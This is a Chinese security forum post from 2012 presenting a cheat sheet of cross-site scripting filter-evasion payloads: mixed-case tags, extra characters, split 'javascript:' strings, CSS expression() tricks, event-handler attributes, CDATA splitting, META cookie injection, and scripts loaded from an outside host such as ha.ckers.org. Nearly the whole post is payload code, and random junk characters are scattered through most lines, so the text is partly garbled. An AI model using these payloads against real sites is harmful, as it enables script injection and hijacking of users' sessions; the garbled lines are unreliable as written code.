找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2463|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
3 U$ K3 }& j9 z
' r  N# {& m# I: i 6 e+ ~; t& ^( u- g' b* R. |6 }; P

0 E; r: m$ H5 E$ V, \    <sCript>alert(‘d’)</scRipT>
: i+ u" j1 Z$ p$ u- w( S
( m7 E: Y% m0 m: ], L* Q4 C5 {4 U2. 利用多加一些其它字符来规避Regular Expression的检查7 [5 x* ]" G" k* T/ e# _  \% d

& b2 m  ^, z6 F6 G- Z    <<script>alert(‘c’)//<</script>
7 H3 b9 C, H# L, j8 `
4 @3 H- m( X9 ]$ P' {' \2 F    <SCRIPT a=">" SRC="t.js"></SCRIPT>
4 F/ c6 t+ o2 W; S4 J" t* F" ]( q8 Y" Y0 d1 Y1 m0 O, r/ J
    <SCRIPT =">" SRC="t.js"></SCRIPT>
& W8 q, I. {0 o. \  L+ I# b6 l& W
4 L# v: c8 k, |4 u    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>2 I8 G  T9 F5 `
7 \+ |  d: u% [
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>: U' y2 C" ~4 I9 I( J
- [1 [0 A' [* S
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>! k+ y% u5 s6 \: t
0 D0 Z. m' H& q8 V2 Y0 I& a: w
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>3 C# @- F8 N* c+ i

1 s7 V3 A. c: ]- R0 ~  i: d3. 以其它扩展名取代.js7 b6 U! I; N' \7 T

) X+ u4 ]7 c4 |" w; t    <script src="bad.jpg"></script>3 X4 C; b; S4 j1 R9 U+ V

5 g) v5 N- l) a& j4. 将Javascript写在CSS档里
$ N3 y  m% t9 _7 M3 s3 M0 r  G. n7 u
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
7 Y8 `; j/ o6 v% K: U/ n2 n1 N3 h3 u1 i* e: O1 u
       example:- }* p$ F& H$ _4 L8 _* b# c

, S7 E( ~& j8 A% u- j          body {3 b7 o& s* T. z, ^, K

5 }2 E9 p3 r" w               background-image: url(‘javascript:alert("XSS");’), D$ a6 H7 K. w6 Y
0 W$ G* j7 Z5 p- A5 y8 W. O$ I
          }3 Q- R) d% T; Z8 Y' \

1 W8 p' d4 _  j! Y5. 在script的tag里加入一些其它字符
6 r) Q) p# m5 [' z) {8 @5 L' S5 ?7 }9 ?9 e7 d$ V( @
    <SCRIPT/SRC="t.js"></SCRIPT>
/ D7 i( P: H9 g) M3 V
2 h9 \9 L! Z# j8 Y) V3 V4 \3 t* g" u    <SCRIPT/anyword SRC="t.js"></SCRIPT>1 H+ {; t( U7 X  W

  Q9 H8 ]4 d' a' D3 _' Q- C. ?6. 使用tab或是new line来规避( u4 E( a) u8 T: @  L( {

& F' Q* f6 B8 u* D7 s& f3 o    <img src="jav ascr ipt:alert(‘XSS3′)">! @+ F# R) n5 c7 p2 v- [2 z
% a2 I0 r& @+ t& g- S  |9 @7 F2 ]
    <img src="jav ascr ipt:alert(‘XSS3′)">) W  E! e! \' _  x

/ f' U4 K; [# g, b3 \& }    <IMG SRC="jav ascript:alert(‘XSS’);">
- ^0 L) |/ k" k: j4 D, Y/ J; c$ N" d
. p  a, ]0 L9 r5 k* V         -> tag8 p4 I$ S+ O2 J! z% _
) y1 B4 l. V) F
         -> new line
0 m4 p1 p" g! x+ o% t- X( {- m# C' r/ J# e3 Z7 Y$ c) ], J
7. 使用"\"来规避+ a, j4 ^& m3 S9 q# V

. ^5 f' i- m; U6 ?  ^% v! L0 K    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
, M. W9 w8 K& |) H% b& \6 R: n# t/ R3 i* H
    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
9 |. G' i, Q7 }* m% O9 |. @
7 P. E4 O( |4 w, W' Q    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">5 d0 D- M5 \! o2 O
  a. s) t1 _5 K4 I9 j, s- X
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
2 L% w' U! b  }7 P4 ]  ~/ O5 N' P8 Q. h8 s# y2 X0 k4 T
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
' V+ d0 W8 b* |, a( H" R( G) D
7 D2 E( V6 ^7 ?9 D! J& V% y  H$ V8. 使用Hex encode来规避(也可能会把";"拿掉)
5 a1 z* p5 r; P3 h' g4 ?# @- E* w5 O- K. X2 D% k6 q0 i. {
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">' A8 A% F$ @" V  `

, t, E+ w4 [  K# c5 }2 O- P; g        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
# j- F, r" ~. I# h" j6 c  {9 c3 s* p- E3 b3 O2 K% a6 T
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
- T  a2 C# Q0 @* F. M5 a, @4 V; h, n: G. ]
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">9 k" h+ b5 K: r" r) G. \0 M

: g& u6 P$ C! x; L; b+ n9. script in HTML tag
' ?* C3 G# \) W0 S' R" D' p& V
3 J2 C. W" Q- _/ N# D7 t  \0 O    <body onload=」alert(‘onload’)」>2 }6 N/ O$ Y+ \; l
+ E' }5 ~$ M) X! A  x* g7 `
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload0 z  {( s; p" E% f- W4 f0 C
9 X( X& L# J' F# c. I
10. 在swf里含有xss的code) l( M  R+ F* @2 z# ^
# g8 Y# n. c  {$ v4 M& i
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>! k9 z6 ^: e, z3 C& H9 V5 C7 A
# c) O% U; B9 p
11. 利用CDATA将xss的code拆开,再组合起来。# d. }+ \) U( s  E% f: Y
8 ]3 N) ?/ v  M2 I, n6 \
    <XML ID=I><X><C>
( B6 c6 n# a2 Q6 P* ~  K, n% q6 u) [, k/ \
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
9 a! w4 e* B9 D$ F5 {0 k( N! k( Q$ A! O2 l6 n0 x9 W) b
    </C></X># ]3 I3 [' e6 R- \3 o
4 ]7 \2 H  a& }' W9 b: n1 t6 b
    </xml>
0 y5 @' J9 ^7 ?& N" }( B. T6 Z  T% s# a* S7 |
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>: h* J( Z" {4 C2 P" O; K
* q6 `) D0 O1 h1 {1 c0 t7 E" S  z
    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
: t9 }) G% u! ]* i, [0 y: ?2 O8 r0 [6 w! t
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>" P9 T( T3 M6 X+ I3 @

! g- E7 B6 B4 G& M12. 利用HTML+TIME。
2 S9 S( n' }" D5 Y
- n, p( R- m& |1 t2 f! s    <HTML><BODY>- U7 @2 l# t8 S6 A0 f* ]

7 W, V* J. O1 s/ e7 H+ X7 }    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
8 H# `; H% M" @* C9 [0 {
/ {, n6 o9 V: q- s9 h4 g6 H. {& Q    <?import namespace="t" implementation="#default#time2">
+ y. s8 {0 n: z: s$ S3 C
3 U/ U! h& d+ a; N    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
! W; T# A/ ?8 @8 g
6 H( d+ o4 w& V0 ~    </BODY></HTML>8 e3 l$ t# y' N& `- m& O
% {2 z" r3 A" H! m" R
13. 透过META写入Cookie。+ _; D6 u) P8 o( A) u4 {

9 J5 |; J0 ]4 o- M& H- j    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
  S8 ?) X% ?3 _
% l1 |; o+ X5 ], E14. javascript in src , href , url
! V8 Y+ s, i7 x1 \: Z, h6 B7 r8 n9 G: v+ o: T
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>" {0 q& h1 w, e) J* D/ z% N
1 m3 _% u% L% _9 t) F
    <img src="javascript:alert(‘XSS3′)">7 ^4 f: I: M9 h% Y. |! a" X; T; @

6 c7 Y. Z: r3 }! n" o- U, q& Q; g<IMG DYNSRC="javascript:alert(‘XSS20′)">
" ?! {( [6 J" D! V& V: M' m% q: V+ P
    <IMG LOWSRC="javascript:alert(‘XSS21′)">5 d9 q& K. A1 a9 O$ Z

) G  U( U! g6 ^8 ?' i7 U    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
5 }2 H; _. h8 X5 M2 e# o; z" w; ?7 o$ d; t- ?; L0 `
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
: D* P- b1 Y( \; W  u
, G) x3 ~( w; X6 g' ~    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">1 k( e  B  h: m4 I
1 e& ]1 D% _: }  v' N8 W
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
) m' T3 H9 V+ b; @+ s. j3 d. D
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
4 d9 v) U% F& O1 u3 r1 J( D/ W7 J, {* k3 R1 [
    </STYLE><A CLASS=XSS></A>$ z0 P8 T; B* a. \7 E7 Q- e
! z6 C9 v  X1 s- J' I4 {: t
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
: k/ k& {9 N! Z" d( Q+ G) R0 T  J- t: n- f0 W6 J3 d1 A. O  I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表